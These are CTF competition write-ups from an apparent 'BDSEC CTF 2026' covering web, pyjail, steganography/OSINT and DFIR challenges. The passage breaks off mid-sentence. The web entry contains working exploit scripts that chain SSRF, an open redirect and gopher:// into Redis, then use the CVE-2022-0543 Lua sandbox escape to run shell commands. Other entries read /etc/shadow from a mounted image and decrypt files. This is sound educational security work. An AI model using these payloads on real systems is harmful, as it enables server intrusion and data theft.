BDSEC CTF 2026 - WRITEUPS

==========

CATEGORY: WEB
CHALLENGE: Linkspire
SOLVED BY: Mr L

==========

Description: "Linkspire is the friendly little link shortener the whole team uses. Shorten a link, get a slick preview card. What could possibly go wrong?"
-> http://23.239.30.114:8081/ (flag format: bdsec{...})

STEP 1

First thing I did was just use the app normally to see what each endpoint does. I set a base var and hit the shortener:

BASE=http://23.239.30.114:8081

**curl -s -X POST "$BASE/api/shorten" -H 'Content-Type: application/json' **
--data '{"url":"https://example.com/hello"}'

Response:

{"code":"aHR0cHM6Ly9leGFtcGxlLmNvbS9oZWxsbw",

"short_url":"http://localhost:5000/l/aHR0cHM6Ly9leGFtcGxlLmNvbS9oZWxsbw"}

I noticed the "code" is just base64. I decoded it quickly:

echo 'aHR0cHM6Ly9leGFtcGxlLmNvbS9oZWxsbw==' | base64 -d
https://example.com/hello

So the token literally IS the destination URL, base64'd. No database, no random ID. That's a mental note for later.

Then the preview endpoint:

curl -s -i "$BASE/api/preview?url=http://example.com/"

Response (headers + JSON). Two things caught my eye in the response:
- a header: X-Cache-Backend: redis
- and in the page's HTML source, a leftover dev comment:
"our internal redis box (redis:6379) is still wide open, no auth."

HINT I took from this: the preview endpoint fetches a URL server-side (SSRF surface), and there's an unauthenticated Redis at redis:6379 on the inside.
So my goal became: make the server talk to that Redis for me.

STEP 2

I pointed preview straight at Redis:

```
curl -s "$BASE/api/preview?url=http://redis:6379/"
```

Response:

```
{"error":"Refusing to fetch an internal/private address."}
```

So there IS a host filter. It blocked the internal name. But I asked myself: does it re-check after a redirect, or only the first URL? That question is the whole challenge.

STEP 3

Since /l/<base64> just 302-redirects to whatever I encode, and the preview filter trusts its own domain (localhost:5000) on the first hop, I chained them: give preview a localhost short-link that redirects to something internal.

To prove the redirect is followed into other schemes, I aimed a short link at a local file and fed it to preview:

```
python3 - <<'PY'
import base64,urllib.parse,urllib.request,json
BASE="http://23.239.30.114:8081"
target="file:///app/app.py"
tok=base64.urlsafe_b64encode(target.encode()).decode().rstrip("=")
url=f"http://localhost:5000/l/{tok}"
q=BASE+"/api/preview?url="+urllib.parse.quote(url)
```

```
print(json.loads(urllib.request.urlopen(q).read())["preview"][:300])
PY
```

Response: the actual source of app.py came back in the JSON preview.

FINDING: the fetcher only validates the FIRST url's host. After the 302, libcurl follows with every protocol it was compiled with (the source showed PROTOCOLS/REDIR_PROTOCOLS = PROTO_ALL). If file:// works post-redirect, then gopher:// will too - and gopher lets me send raw bytes to Redis.

STEP 4

Gopher sends raw bytes after "/_", which is exactly the Redis wire protocol.
I always append QUIT so curl gets a clean close instead of hanging:

```
python3 - <<'PY'
import base64,urllib.parse,urllib.request,json
BASE="http://23.239.30.114:8081"
payload="PING\r\nINFO server\r\nQUIT\r\n"
gopher="gopher://redis:6379/_"+urllib.parse.quote(payload)
tok=base64.urlsafe_b64encode(gopher.encode()).decode().rstrip("=")
url=f"http://localhost:5000/l/{tok}"
q=BASE+"/api/preview?url="+urllib.parse.quote(url)
print(json.loads(urllib.request.urlopen(q,timeout=60).read())["preview"])
PY
```

Response:

```
+PONG
$476
# Server
redis_version:5.0.7
redis_mode:standalone
...
```

Then I checked for the flag as a key:

```
# (same technique, payload = "KEYS *\r\nDBSIZE\r\nQUIT\r\n")
```

Response: empty. No keys, DBSIZE 0. So the flag is NOT in Redis.

HINT I took from this: the useful detail is redis_version:5.0.7 on Debian. That exact build is vulnerable to CVE-2022-0543 - a Lua sandbox escape. The flag being absent from keys told me I needed code execution, not a key read.

STEP 5

The bug: EVAL's Lua sandbox can reload the real io library via package.loadlib(), then run shell commands with io.popen(). My Lua has spaces and quotes, so I sent it as a proper RESP bulk-string array in the gopher body:

```
python3 - <<'PY'
import base64,json,urllib.parse,urllib.request
BASE="http://23.239.30.114:8081"
def short(t):
  tok=base64.urlsafe_b64encode(t.encode()).decode().rstrip("=")
  return f"http://localhost:5000/l/{tok}"
def resp_eval(lua):
  parts=[b"EVAL",lua.encode(),b"0"]
  buf=b"*"+str(len(parts)).encode()+b"\r\n"
  for p in parts: buf+=b"$"+str(len(p)).encode()+b"\r\n"+p+b"\r\n"
  return buf+b"QUIT\r\n"
                                                    lua=('local
i=package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0","luaopen_io");'
    'local io=i();'
    'local f=io.popen("grep -ao \'bdsec{[^}]*}\' /flag.txt 2>/dev/null","r");'
    'local r=f:read("*a");f:close();return r')

gopher="gopher://redis:6379/_"+urllib.parse.quote_from_bytes(resp_eval(lua))
q=BASE+"/api/preview?url="+urllib.parse.quote(short(gopher))
print(json.loads(urllib.request.urlopen(q,timeout=90).read())["preview"])
PY
```

Response:

```
$71
/flag.txt:bdsec{Deb1an_R3d1s_lua_sandb0x_esc4pe_thr0ugh_a_g0pher_h0le}
+OK
```

That's why my earlier file:// sweeps for /flag on the web box found nothing - the flag was on the Redis container the whole time.

FLAG: bdsec{Deb1an_R3d1s_lua_sandb0x_esc4pe_thr0ugh_a_g0pher_h0le}

==========

CATEGORY: PWN & JAIL
CHALLENGE: Obsidian Gate
SOLVED BY: Mr L

==========

Description: "Beyond the obsidian gate lies a sealed archive."
-> nc 50.116.28.133 48271 (flag format: BDSEC{s0mething_h3re})

STEP 1

---

nc 50.116.28.133 48271

It prints a banner ("One expression. One answer.") and a "> " prompt, takes one line, prints a result, and closes. So it evaluates a single Python expression per connection. That smells like a pyjail.

STEP 2

I wrote a tiny helper so I could fire one expression per connection and read the last line back:

gate(){ printf '%s\n' "$1" | nc 50.116.28.133 48271 | tail -1; }

Then I probed, one input at a time, and wrote down exactly what each returned:

```
gate "1+1"          # -> operation denied
gate "1"            # -> 1              (bare int constant is fine)
gate "'abc'"        # -> 'abc'          (str constant fine)
gate "True"         # -> constant denied
gate "'abc'[0]"     # -> 'a'            (SUBSCRIPTING works!)
```

```
gate "type(1)"      # -> <class 'int'>  (type() allowed)
gate "repr(0)"      # -> '0'            (repr allowed)
gate "len('abc')"   # -> 3              (len allowed)
gate "open"         # -> name denied
gate "root"         # -> <obsidian root>  (this name EXISTS)
```

HINTS I collected from that probing round:
- operators, comprehensions, lambdas, f-strings -> all "operation denied"
- attribute access x.y -> "attribute denied" (so no __class__ / __globals__)
- allowed calls: type, repr, len, and (I tested next) dir
- subscripting obj['key'] is allowed
- there's exactly one pre-defined name: root

The lightbulb: attributes are dead, BUT dir() is allowed and returns an object's members as a list of STRINGS, and I can then index those strings with ['...']. That means I can navigate the whole object graph with just dir() + string subscripts. No attribute access needed.

STEP 3

```
gate "dir(root)"
# -> ['ash', 'mirror', 'observer', 'year']
```

I walked each branch. The interesting path:

```
gate "dir(root['observer'])"                  # ... 'right' ...
gate "dir(root['observer']['right'])"         # ... 'memory' ...
gate "dir(root['observer']['right']['memory'])" # 'catalog' -> index -> sealed
```

Ending at:

```
SEALED="root['observer']['right']['memory']['catalog']['index']['sealed']"
gate "dir($SEALED)"         # -> ['status', 'unveil']
gate "${SEALED}['status']"  # -> 'intact'
```

So the sealed archive has a 'status' and an 'unveil'.

STEP 4

'unveil' looked like a capability I could call. I tried it with an argument

first and got "arguments denied", so I called it with NO args:

printf "%s\n" "${SEALED}['unveil']()" | nc 50.116.28.133 48271 | tail -1

Response:

BDSEC{0bs1d14n_g4t3_un53al3d_g00d_jOB}

FLAG: BDSEC{0bs1d14n_g4t3_un53al3d_g00d_jOB}

==========

CATEGORY: MISC
CHALLENGE: Coordination Password
SOLVED BY: lazy_sharaf

==========

Every challenge has a personality, and this one told me exactly who it was in its very first sentence. The description said that pmsiam0 had friends with no security knowledge, and that those friends had leaked their notes. It then asked me to unlock an image with a password, and it hinted that the final flag would look like BDSEC{Partialflag_password}. Right there, before I opened a single tool, I already understood the whole game. There was a person to chase, a leaked secret to find, a password to recover, and an image locked with that password. This is the mindset I want you to start with too: read the description like it is part of the puzzle, because it always is.

The first move was the image itself. I was given a file that ended in .png, and most people would open it, see a picture, and move on. I did not. One of the oldest habits in this field is to never trust a file extension, so I checked what the file actually was using the file command. It came back as a JPEG, not a PNG at all. That one detail was a huge clue. A JPEG that pretends to be a PNG almost always points to steghide, because steghide loves to hide data inside JPEG images. So now I knew the method of hiding, but steghide needs a password, and I did not have one yet. That password was clearly the secret waiting somewhere else.

So I followed the human trail instead of the technical one. The description said pmsiam0's friends leaked their notes, which means the answer lived outside the file, in the real world. I searched for pmsiam0 online and found their GitHub profile. While looking through it, I noticed a repository with commits made by another username,

siamsec404. That small connection, one account leading to another, is exactly the kind of thread you have to be willing to pull. I went to siamsec404's GitHub and found a repository literally called Personal-notes. These were the leaked notes the challenge kept talking about.

Inside that repository were two important things. One was a file called Notes.md, and the other was a zip file named partialone.zip. I started with the notes. The Notes.md file contained three simple sentences that looked like a small story about a dark sky, a brave king, and silent guards. Below the sentences was a long list of numbers written as groups like 1-2-4, 2-3-3, 1-9-2, and so on. At first glance it looked like random noise, but hidden data always follows a rule, and my job was to find the rule.

The pattern turned out to be a classic book cipher, and the format was Line-Word-Character. The first number picks a line from the story, the second number picks a word in that line, and the third number picks a letter in that word. So 1-2-4 means line 1, the second word, the fourth letter, which lands on the letter k. Working through every group patiently, the letters started forming a word: k, n, i, g, h, t, n, e, v, e, r, s, l, e, e, p, s. The scattered numbers spelled knightneversleeps. That was the password, and the challenge even reminded us that all passwords must be lowercase, which matched perfectly.

With the password in hand, I went back to the disguised image and ran steghide to extract the hidden data using knightneversleeps as the key. It worked and dropped out a small text file. Inside that file was BDSEC{partialflag1_knightneversleeps}. This confirmed two things at once. First, the password was absolutely correct, because steghide will not extract anything with the wrong key. Second, the word partialflag1 was clearly a placeholder, which meant the real middle part of the flag was still hiding somewhere. The challenge was politely telling me I was not finished yet.

That is when I turned to the second file, partialone.zip. Unzipping it gave me an image called partialone.png, and this image was a clever little trap. It showed what looked like a QR code, but it was split into two separate halves by a dashed line, with some text sitting in the middle like a distraction. I tried scanning each half on its own, and neither one decoded, which is exactly what the author wanted. The two halves were meaningless alone and only made sense together.

So I reconstructed the full QR code by stacking the two halves on top of each other in the right order. I did this with a short Python script using PIL to open the image, numpy to cut out the top and bottom QR regions, and then vstack to join them into one complete code. Once the halves were combined, pyzbar read it instantly and gave me

the missing piece: Kn1ghT404_Y0U_are_Hack3r. This was the partial flag the placeholder had been standing in for all along.

Now every piece was on the table. The book cipher had given me the password knightneversleeps. The stacked QR code had given me the partial flag Kn1ghT404_Y0U_are_Hack3r. And the flag format from the very beginning told me exactly how to fit them together as BDSEC{Partialflag_password}. Combining the two halves of the answer, just like I had combined the two halves of the QR code, gave the complete flag.

The final flag was: **BDSEC{Kn1ghT404_Y0U_are_Hack3r_knightneversleeps}**

Looking back, what made this challenge beautiful was not any single hard step, but how it forced me to switch between very different skills without losing the thread. I had to verify a file instead of trusting it, do real OSINT to find a person, decode a book cipher by hand, extract a steganography secret, and rebuild a broken QR code, and only then combine everything into one answer. If you are learning, let this be your takeaway: big challenges are usually many small honest steps chained together. Stay calm, follow every clue to its end, trust that hidden things have a logic, and remember that sometimes the last skill you need is simply knowing how to put your pieces together.

==========

CATEGORY: DFIR
CHALLENGE: Rabbit Whole Identity
SOLVED BY: Mr L

==========

WHERE I PICK UP

From Money Trail I have a paper identity: Mehedi Rahman, KB-2024-00847, m.rahman.op@protonmail.com, a Mirpur (Dhaka) KYC address. But a KYC record is just what he told a bank. To find the real person (and later, where he is), I need his actual social footprint. Start with one clean string, keep pulling.

STEP 1 - What the challenge actually asks for: a Facebook username.

Reading the challenge description, the deliverable is his Facebook ID

username. So the plan is simple: take the name I recovered, search Facebook, and figure out which profile is really him.

STEP 2 - Search the name, get flooded with profiles.

I searched the name (Mehedi Rahman) on Facebook and, as expected for such a common
Bangladeshi name, got a wall of profiles - dozens of "Mehedi"s, none of them obviously the guy. Scrolling the usernames instead of the display names is what broke it open: almost everyone had a name-ish handle, but one profile's username looked completely out of place -

elektrotransczech

A Bangladeshi individual carrying a "Czech electro-transport company" vanity handle is exactly the kind of mismatch that stands out. That oddness made it my prime candidate.

STEP 3

To make sure "elektrotransczech" was really a person and not just some company page, I ran the same username across other socials. I ran the username on google with instagram keyword.
Opened each insta accouts and one got a interesting bio.
The account was defaced, bio is "Hacked by pmsiam" - and pmsiam is the challenge author. Seeing the author's
own tag sitting on the account tied to this exact handle was the confirmation that elektrotransczech is the intended target and not a coincidence.

FLAG: **BDSEC{elektrotransczech}**

==========

CATEGORY: DFIR
CHALLENGE: Money Trail
SOLVED BY: Mr L

==========

THE STORY WE WERE HANDED

May 10, 2024: ~$2,045,000 in crypto leaves FirstBangla Bank's cold storage, during business hours, with legit credentials. By May 12 the prime suspect is gone - empty desk, no note, just an "ordinary pen" left behind. We get a forensic clone of the workstation, a full packet capture, and one pointed instruction: our target is Sepolia, and "even a few dollars or cents" matters.

STEP 0a

The forensic clone had Arif Khan's Linux user (arif.khan, UID 1001) sitting behind a password. Rather than boot the image and get stuck at a login, I mounted the raw disk read-only and read straight off it:

```
OFFSET=$((1054720*512))        # start of the ext4 partition
sudo mkdir -p /mnt/fbbl
sudo mount -o ro,loop,offset=$OFFSET disk.raw /mnt/fbbl
```

First place I looked was the password database to see what I was up against:

```
sudo cat /mnt/fbbl/etc/shadow
```

Finding: arif.khan's entry carried a yescrypt hash (y...). I tried the obvious credential - his own notes listed a personal password (Welcome@2024!) - against it, but it didn't match and the yescrypt hash didn't crack in a reasonable pass:

```
grep '^arif.khan:' /mnt/fbbl/etc/shadow > arif.hash
echo 'Welcome@2024!' | ...    # no match; yescrypt, left it
```

But cracking the login turned out to be unnecessary - the read-only mount had already given me his home directory with no authentication at all:

```
ls /mnt/fbbl/home/arif.khan
ls /mnt/fbbl/home/arif.khan/AppData
```

That gave me full read access to his files with no login at all. The sensitive evidence was still encrypted (.confession.enc, the Signal export), but that used a separate VAULT password, not his OS password. I recovered the vault password from vault.conf + bash history (hint pattern: F!rst + Bank_Name + #Vault + Year) and decrypted offline:

**sudo openssl enc -d -aes-256-cbc -pbkdf2 **
**-in /mnt/fbbl/home/arif.khan/.confession.enc **
-pass pass:'F!rstB@ngla#Vault2024'

So, login never cracked -> read-only offline mount bypassed it -> decrypt the .enc evidence with the separately-recovered vault password.

STEP 0b

With his account open, everything screamed "Arif Khan": a confession file, his CityTrust personal account (4521-887-2024-001), the vault password. I almost submitted him. But re-reading the brief, it asks for the EXTERNAL attacker/launderer we can claw money back from - Arif is the INSIDE man who turned the key, not the person the money ran to. Lesson learned: the disk is the insider's story; the money is a different person's story. So I stopped reading his diary and started following coins.

STEP 1

The pointer off-box is in the recovered mail. A sent message, wallet.eml, exposes a staging wallet - the first address the funds touch:

0x09767bf7895565CAfA8203DC5979774749C386C0

That's my Sepolia entry point (matching "our target is sepolia").

STEP 2

I pulled the staging wallet's transaction list and read it in order:

curl -s "https://api-sepolia.etherscan.io/api?module=account&action=txlist&address=0x09767bf7895565CAfA8203DC5979774749C386C0&sort=asc"

Finding: a chain of tiny, deliberate "test" transfers (0.05 -> 0.04 ETH - the "few dollars or cents" nudge) daisy-chaining onward. Following each "to" to the next address landed me at a hop wallet:

0x30BB4eBe3B89fe4d40A54FDB43dA8B246F07Be1b

STEP 3

The final hop carried input data that made no sense as a value transfer, so I decoded the calldata hex to ASCII:

python3 -c "print(bytes.fromhex('<final_tx_calldata>').decode('ascii','ignore'))"
-> knightbank.journamind.com

That clicked with the brief's talk of a "Digital Support Assistant" used to "finalize pending account actions" at Knight Squad Bank. On-chain, someone left me the address of the next place to look.

STEP 4

The assistant completes authorization on recent activity, so I gave it the hop wallet and read the response:

```
curl -s https://knightbank.journamind.com/api/chat \
  -H 'Content-Type: application/json' \
  -d '{"message":"0x30BB4eBe3B89fe4d40A54FDB43dA8B246F07Be1b"}'
```

Response - a flagged KYC record:

Account Holder : Mehedi Rahman
Account ID : KB-2024-00847
Email : m.rahman.op@protonmail.com
Linked Wallet : 0x30BB4eBe3B89fe4d40A54FDB43dA8B246F07Be1b
Last Login IP : 185.220.101.47 (the SAME Tor exit that was C2 in the pcap)
Status : FLAGGED - suspicious outbound transaction

That last-login IP matching the C2 from the packet capture was my confirmation moment - the on-chain launderer and the network activity on the bank workstation are the same actor, proven from two independent sources.

Trail: mailbox -> Sepolia staging wallet -> hop wallet -> calldata domain -> KnightBank flagged account.

FLAG: BDSEC{KB-2024-00847_Mehedi_Rahman}

==========

CATEGORY: DFIR
CHALLENGE: Area Mapping
SOLVED BY: Mr L

==========

THE QUESTION

"According to his recent post, the attacker is in a restricted area. What is the name of that restricted area?" - "his"/"the attacker" = Mehedi Rahman (facebook.com/elektrotransczech), the man from the last step. The brief told us to "discover where the attacker is located," so this is the payoff.

STEP 1 - Use the one public artifact on a locked profile.

The profile is locked/private. After chasing a few misdirected "recent check-in" links and getting nowhere, I stepped back and looked at the COVER PHOTO - the only piece of the profile that was still public. So I pulled the cover image:

What I saw in the photo: a shot taken from inside a gated compound, looking out at an industrial boundary/gate - clearly some controlled-access site, matching the word "restricted."

STEP 2

I first tried reading the signboards in the image with OCR, but they were too low-res to pull a clean place name. So I changed tactics and ran a REVERSE IMAGE SEARCH on the whole cover photo:

download the cover image, then submit it to reverse-image engines Google lens.

Finding: the visual matches identified the site as the Ishwardi Export Processing Zone - the BEPZA (Bangladesh Export Processing Zones Authority) controlled industrial zone at Ishwardi. An EPZ is a genuinely gated, permit-only, restricted area, which fits the question exactly.

So the restricted area in his post is the Ishwardi Export Processing Zone.

FLAG: BDSEC{ISHWARDI_EXPORT_PROCESSING_ZONE}

==========

Although we were unable to solve the "Four Registers" challenge during the competition,